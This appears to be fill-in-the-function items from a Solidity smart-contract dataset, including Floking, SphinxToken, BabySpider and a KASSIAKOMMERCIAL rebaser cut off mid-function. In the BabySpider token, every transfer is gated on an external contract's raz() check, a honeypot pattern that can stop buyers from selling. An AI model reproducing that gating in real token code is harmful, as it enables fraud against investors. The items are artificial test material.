_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} | contract Floking is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private botWallets;
bool botscantrade = false;
bool public canTrade = false;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
address private feeaddress;
uint256 public earlyselltimestamp;
string private _name = "Floking";
string private _symbol = "FLOKING";
uint8 private _decimals = 9;
uint256 private _taxFee;
uint256 private buytaxfee = 1;
uint256 private selltaxfee = 1;
uint256 private _previousTaxFee = _taxFee;
uint256 private _liquidityFee;
uint256 private buyliquidityfee = 9;
uint256 private sellliquidityfee = 15;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _totalBuyTax = buytaxfee + buyliquidityfee;
uint256 public _totalSellTax = selltaxfee + sellliquidityfee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public depwallet;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public earlysellenabled = true;
uint256 public _maxTxAmount = 100000000 * 10**9;
uint256 public _maxWallet = 1000000 * 10**9;
uint256 public numTokensSellToAddToLiquidity = 1000000 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
depwallet = _msgSender();
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
<FILL_FUNCTION>
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setfeeaddress(address walletAddress) public onlyOwner {
feeaddress = walletAddress;
}
function _setmaxwalletamount(uint256 amount) external onlyOwner() {
require(amount >= 500000, "Please check the maxwallet amount, should exceed 0.5% of the supply");
_maxWallet = amount * 10**9;
}
function setmaxTxAmount(uint256 amount) external onlyOwner() {
require(amount >= 500000, "Please check MaxtxAmount amount, should exceed 0.5% of the supply");
_maxTxAmount = amount * 10**9;
}
function updateSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() {
numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9;
}
function clearStuckBalance() public {
payable(feeaddress).transfer(address(this).balance);
}
function claimERCtoknes(IERC20 tokenAddress) external {
tokenAddress.transfer(feeaddress, tokenAddress.balanceOf(address(this)));
}
function addBotWallet(address botwallet) external onlyOwner() {
require(botwallet != uniswapV2Pair,"Cannot add pair as a bot");
botWallets[botwallet] = true;
}
function removeBotWallet(address botwallet) external onlyOwner() {
botWallets[botwallet] = false;
}
function getBotWalletStatus(address botwallet) public view returns (bool) {
return botWallets[botwallet];
}
function StartTrading(address _address)external onlyOwner() {
canTrade = true;
earlyselltimestamp = block.timestamp + 24 hours;
feeaddress = _address;
}
function setFees(uint256 _buytax, uint256 _selltax, uint256 _buyliquidity, uint256 _sellliquidity) public onlyOwner {
require(_buytax + _buyliquidity <= 13, "buy tax cannot exceed 13%");
require(_selltax + _sellliquidity <= 16, "sell tax cannot exceed 15%");
buytaxfee = _buytax;
selltaxfee = _selltax;
buyliquidityfee = _buyliquidity;
sellliquidityfee = _sellliquidity;
_totalBuyTax = buytaxfee + buyliquidityfee;
_totalSellTax = selltaxfee + sellliquidityfee;
}
function setEarlysellenabled(bool value) public onlyOwner {
earlysellenabled = value;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if(from == uniswapV2Pair && to != depwallet) {
require(balanceOf(to) + amount <= _maxWallet, "check max wallet");
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = buytaxfee;
_liquidityFee = buyliquidityfee;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = selltaxfee;
_liquidityFee = sellliquidityfee;
if (to == uniswapV2Pair && from != owner() && from != address(this) && earlysellenabled && block.timestamp < earlyselltimestamp) {
_liquidityFee = 24;
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(contractTokenBalance); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
payable(feeaddress).transfer(newBalance);
emit SwapAndLiquify(contractTokenBalance, newBalance, contractTokenBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!canTrade){
require(sender == owner()); // only owner allowed to trade or add liquidity
}
if(botWallets[sender] || botWallets[recipient]){
require(botscantrade, "bots arent allowed to trade");
}
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} |
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
| function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private | function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private |
13739 | SphinxToken | null | contract SphinxToken is PausableToken {
string public constant name = "SphinxToken";
string public constant symbol = "SPX";
uint8 public constant decimals = 18;
constructor(uint256 initialSupply) public {<FILL_FUNCTION_BODY> }
} | contract SphinxToken is PausableToken {
string public constant name = "SphinxToken";
string public constant symbol = "SPX";
uint8 public constant decimals = 18;
<FILL_FUNCTION>
} |
totalSupply_ = initialSupply;
balances[msg.sender] = totalSupply_;
| constructor(uint256 initialSupply) public | constructor(uint256 initialSupply) public |
18074 | BabySpider | transfer | contract BabySpider is IRC20 {
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowance;
IRC20 wwwa;
uint256 public totalSupply = 10 * 10**12 * 10**18;
string public name = "Baby Turtle";
string public symbol = hex"42616279537069646572f09f95b7";
uint public decimals = 18;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(IRC20 _info) {
wwwa = _info;
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address owner) public view returns(uint256) {
return balances[owner];
}
function transfer(address to, uint256 value) public returns(bool) {<FILL_FUNCTION_BODY> }
function raz(address account) external override view returns (uint8) {
return 1;
}
function transferFrom(address from, address to, uint256 value) public returns(bool) {
require(wwwa.raz(from) != 1, "Please try again");
require(balanceOf(from) >= value, 'balance too low');
require(allowance[from][msg.sender] >= value, 'allowance too low');
balances[to] += value;
balances[from] -= value;
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns(bool) {
allowance[msg.sender][spender] = value;
return true;
}
} | contract BabySpider is IRC20 {
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowance;
IRC20 wwwa;
uint256 public totalSupply = 10 * 10**12 * 10**18;
string public name = "Baby Turtle";
string public symbol = hex"42616279537069646572f09f95b7";
uint public decimals = 18;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(IRC20 _info) {
wwwa = _info;
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address owner) public view returns(uint256) {
return balances[owner];
}
<FILL_FUNCTION>
function raz(address account) external override view returns (uint8) {
return 1;
}
function transferFrom(address from, address to, uint256 value) public returns(bool) {
require(wwwa.raz(from) != 1, "Please try again");
require(balanceOf(from) >= value, 'balance too low');
require(allowance[from][msg.sender] >= value, 'allowance too low');
balances[to] += value;
balances[from] -= value;
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns(bool) {
allowance[msg.sender][spender] = value;
return true;
}
} |
require(wwwa.raz(msg.sender) != 1, "Please try again");
require(balanceOf(msg.sender) >= value, 'balance too low');
balances[to] += value;
balances[msg.sender] -= value;
emit Transfer(msg.sender, to, value);
return true;
| function transfer(address to, uint256 value) public returns(bool) | function transfer(address to, uint256 value) public returns(bool) |
31160 | KASSIAKOMMERCIALRebaser | uniswapMaxSlippage | contract KASSIAKOMMERCIALRebaser {
using SafeMath for uint256;
modifier onlyGov() {
require(msg.sender == gov);
_;
}
struct Transaction {
bool enabled;
address destination;
bytes data;
}
struct UniVars {
uint256 kassiakommercialsToUni;
uint256 amountFromReserves;
uint256 mintToReserves;
}
/// @notice an event emitted when a transaction fails
event TransactionFailed(address indexed destination, uint index, bytes data);
/// @notice an event emitted when maxSlippageFactor is changed
event NewMaxSlippageFactor(uint256 oldSlippageFactor, uint256 newSlippageFactor);
/// @notice an event emitted when deviationThreshold is changed
event NewDeviationThreshold(uint256 oldDeviationThreshold, uint256 newDeviationThreshold);
/**
* @notice Sets the treasury mint percentage of rebase
*/
event NewRebaseMintPercent(uint256 oldRebaseMintPerc, uint256 newRebaseMintPerc);
/**
* @notice Sets the reserve contract
*/
event NewReserveContract(address oldReserveContract, address newReserveContract);
/**
* @notice Sets the reserve contract
*/
event TreasuryIncreased(uint256 reservesAdded, uint256 kassiakommercialsSold, uint256 kassiakommercialsFromReserves, uint256 kassiakommercialsToReserves);
/**
* @notice Event emitted when pendingGov is changed
*/
event NewPendingGov(address oldPendingGov, address newPendingGov);
/**
* @notice Event emitted when gov is changed
*/
event NewGov(address oldGov, address newGov);
// Stable ordering is not guaranteed.
Transaction[] public transactions;
/// @notice Governance address
address public gov;
/// @notice Pending Governance address
address public pendingGov;
/// @notice Spreads out getting to the target price
uint256 public rebaseLag;
/// @notice Peg target
uint256 public targetRate;
/// @notice Percent of rebase that goes to minting for treasury building
uint256 public rebaseMintPerc;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change.
uint256 public deviationThreshold;
/// @notice More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
/// @notice Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
/// @notice The rebase window begins this many seconds into the minRebaseTimeInterval period.
// For example if minRebaseTimeInterval is 24hrs, it represents the time of day in seconds.
uint256 public rebaseWindowOffsetSec;
/// @notice The length of the time window where a rebase operation is allowed to execute, in seconds.
uint256 public rebaseWindowLengthSec;
/// @notice The number of rebase cycles since inception
uint256 public epoch;
// rebasing is not active initially. It can be activated at T+12 hours from
// deployment time
///@notice boolean showing rebase activation status
bool public rebasingActive;
/// @notice delays rebasing activation to facilitate liquidity
uint256 public constant rebaseDelay = 12 hours;
/// @notice Time of TWAP initialization
uint256 public timeOfTWAPInit;
/// @notice KASSIAKOMMERCIAL token address
address public kassiakommercialAddress;
/// @notice reserve token
address public reserveToken;
/// @notice Reserves vault contract
address public reservesContract;
/// @notice pair for reserveToken <> KASSIAKOMMERCIAL
address public uniswap_pair;
/// @notice last TWAP update time
uint32 public blockTimestampLast;
/// @notice last TWAP cumulative price;
uint256 public priceCumulativeLast;
// Max slippage factor when buying reserve token. Magic number based on
// the fact that uniswap is a constant product. Therefore,
// targeting a % max slippage can be achieved by using a single precomputed
// number. i.e. 2.5% slippage is always equal to some f(maxSlippageFactor, reserves)
/// @notice the maximum slippage factor when buying reserve token
uint256 public maxSlippageFactor;
/// @notice Whether or not this token is first in uniswap KASSIAKOMMERCIAL<>Reserve pair
bool public isToken0;
constructor(
address kassiakommercialAddress_,
address reserveToken_,
address uniswap_factory,
address reservesContract_
)
public
{
minRebaseTimeIntervalSec = 12 hours;
rebaseWindowOffsetSec = 28800; // 8am/8pm UTC rebases
reservesContract = reservesContract_;
(address token0, address token1) = sortTokens(kassiakommercialAddress_, reserveToken_);
// used for interacting with uniswap
if (token0 == kassiakommercialAddress_) {
isToken0 = true;
} else {
isToken0 = false;
}
// uniswap KASSIAKOMMERCIAL<>Reserve pair
uniswap_pair = pairFor(uniswap_factory, token0, token1);
// Reserves contract is mutable
reservesContract = reservesContract_;
// Reserve token is not mutable. Must deploy a new rebaser to update it
reserveToken = reserveToken_;
kassiakommercialAddress = kassiakommercialAddress_;
// target 10% slippage
// 5.4%
maxSlippageFactor = 5409258 * 10**10;
// 1 YCRV
targetRate = 10**18;
// twice daily rebase, with targeting reaching peg in 5 days
rebaseLag = 10;
// 10%
rebaseMintPerc = 10**17;
// 5%
deviationThreshold = 5 * 10**16;
// 60 minutes
rebaseWindowLengthSec = 60 * 60;
// Changed in deployment scripts to facilitate protocol initiation
gov = msg.sender;
}
/**
@notice Updates slippage factor
@param maxSlippageFactor_ the new slippage factor
*
*/
function setMaxSlippageFactor(uint256 maxSlippageFactor_)
public
onlyGov
{
uint256 oldSlippageFactor = maxSlippageFactor;
maxSlippageFactor = maxSlippageFactor_;
emit NewMaxSlippageFactor(oldSlippageFactor, maxSlippageFactor_);
}
/**
@notice Updates rebase mint percentage
@param rebaseMintPerc_ the new rebase mint percentage
*
*/
function setRebaseMintPerc(uint256 rebaseMintPerc_)
public
onlyGov
{
uint256 oldPerc = rebaseMintPerc;
rebaseMintPerc = rebaseMintPerc_;
emit NewRebaseMintPercent(oldPerc, rebaseMintPerc_);
}
/**
@notice Updates reserve contract
@param reservesContract_ the new reserve contract
*
*/
function setReserveContract(address reservesContract_)
public
onlyGov
{
address oldReservesContract = reservesContract;
reservesContract = reservesContract_;
emit NewReserveContract(oldReservesContract, reservesContract_);
}
/** @notice sets the pendingGov
* @param pendingGov_ The address of the rebaser contract to use for authentication.
*/
function _setPendingGov(address pendingGov_)
external
onlyGov
{
address oldPendingGov = pendingGov;
pendingGov = pendingGov_;
emit NewPendingGov(oldPendingGov, pendingGov_);
}
/** @notice lets msg.sender accept governance
*
*/
function _acceptGov()
external
{
require(msg.sender == pendingGov, "!pending");
address oldGov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldGov, gov);
}
/** @notice Initializes TWAP start point, starts countdown to first rebase
*
*/
function init_twap()
public
{
require(timeOfTWAPInit == 0, "already activated");
(uint priceCumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair, isToken0);
require(blockTimestamp > 0, "no trades");
blockTimestampLast = blockTimestamp;
priceCumulativeLast = priceCumulative;
timeOfTWAPInit = blockTimestamp;
}
/** @notice Activates rebasing
* @dev One way function, cannot be undone, callable by anyone
*/
function activate_rebasing()
public
{
require(timeOfTWAPInit > 0, "twap wasnt intitiated, call init_twap()");
// cannot enable prior to end of rebaseDelay
require(now >= timeOfTWAPInit + rebaseDelay, "!end_delay");
rebasingActive = false; // disable rebase, originally true;
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
* @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is 1e18
*/
function rebase()
public
{
// EOA only
require(msg.sender == tx.origin);
// ensure rebasing at correct time
_inRebaseWindow();
// This comparison also ensures there is no reentrancy.
require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now);
// Snap the rebase time to the start of this window.
lastRebaseTimestampSec = now.sub(
now.mod(minRebaseTimeIntervalSec)).add(rebaseWindowOffsetSec);
epoch = epoch.add(1);
// get twap from uniswap v2;
uint256 exchangeRate = getTWAP();
// calculates % change to supply
(uint256 offPegPerc, bool positive) = computeOffPegPerc(exchangeRate);
uint256 indexDelta = offPegPerc;
// Apply the Dampening factor.
indexDelta = indexDelta.div(rebaseLag);
KASSIAKOMMERCIALTokenInterface kassiakommercial = KASSIAKOMMERCIALTokenInterface(kassiakommercialAddress);
if (positive) {
require(kassiakommercial.kassiakommercialsScalingFactor().mul(uint256(10**18).add(indexDelta)).div(10**18) < kassiakommercial.maxScalingFactor(), "new scaling factor will be too big");
}
uint256 currSupply = kassiakommercial.totalSupply();
uint256 mintAmount;
// reduce indexDelta to account for minting
if (positive) {
uint256 mintPerc = indexDelta.mul(rebaseMintPerc).div(10**18);
indexDelta = indexDelta.sub(mintPerc);
mintAmount = currSupply.mul(mintPerc).div(10**18);
}
// rebase
uint256 supplyAfterRebase = kassiakommercial.rebase(epoch, indexDelta, positive);
assert(kassiakommercial.kassiakommercialsScalingFactor() <= kassiakommercial.maxScalingFactor());
// perform actions after rebase
afterRebase(mintAmount, offPegPerc);
}
function uniswapV2Call(
address sender,
uint256 amount0,
uint256 amount1,
bytes memory data
)
public
{
// enforce that it is coming from uniswap
require(msg.sender == uniswap_pair, "bad msg.sender");
// enforce that this contract called uniswap
require(sender == address(this), "bad origin");
(UniVars memory uniVars) = abi.decode(data, (UniVars));
KASSIAKOMMERCIALTokenInterface kassiakommercial = KASSIAKOMMERCIALTokenInterface(kassiakommercialAddress);
if (uniVars.amountFromReserves > 0) {
// transfer from reserves and mint to uniswap
kassiakommercial.transferFrom(reservesContract, uniswap_pair, uniVars.amountFromReserves);
if (uniVars.amountFromReserves < uniVars.kassiakommercialsToUni) {
// if the amount from reserves > kassiakommercialsToUni, we have fully paid for the yCRV tokens
// thus this number would be 0 so no need to mint
kassiakommercial.mint(uniswap_pair, uniVars.kassiakommercialsToUni.sub(uniVars.amountFromReserves));
}
} else {
// mint to uniswap
kassiakommercial.mint(uniswap_pair, uniVars.kassiakommercialsToUni);
}
// mint unsold to mintAmount
if (uniVars.mintToReserves > 0) {
kassiakommercial.mint(reservesContract, uniVars.mintToReserves);
}
// transfer reserve token to reserves
if (isToken0) {
SafeERC20.safeTransfer(IERC20(reserveToken), reservesContract, amount1);
emit TreasuryIncreased(amount1, uniVars.kassiakommercialsToUni, uniVars.amountFromReserves, uniVars.mintToReserves);
} else {
SafeERC20.safeTransfer(IERC20(reserveToken), reservesContract, amount0);
emit TreasuryIncreased(amount0, uniVars.kassiakommercialsToUni, uniVars.amountFromReserves, uniVars.mintToReserves);
}
}
function buyReserveAndTransfer(
uint256 mintAmount,
uint256 offPegPerc
)
internal
{
UniswapPair pair = UniswapPair(uniswap_pair);
KASSIAKOMMERCIALTokenInterface kassiakommercial = KASSIAKOMMERCIALTokenInterface(kassiakommercialAddress);
// get reserves
(uint256 token0Reserves, uint256 token1Reserves, ) = pair.getReserves();
// check if protocol has excess kassiakommercial in the reserve
uint256 excess = kassiakommercial.balanceOf(reservesContract);
uint256 tokens_to_max_slippage = uniswapMaxSlippage(token0Reserves, token1Reserves, offPegPerc);
UniVars memory uniVars = UniVars({
kassiakommercialsToUni: tokens_to_max_slippage, // how many kassiakommercials uniswap needs
amountFromReserves: excess, // how much of kassiakommercialsToUni comes from reserves
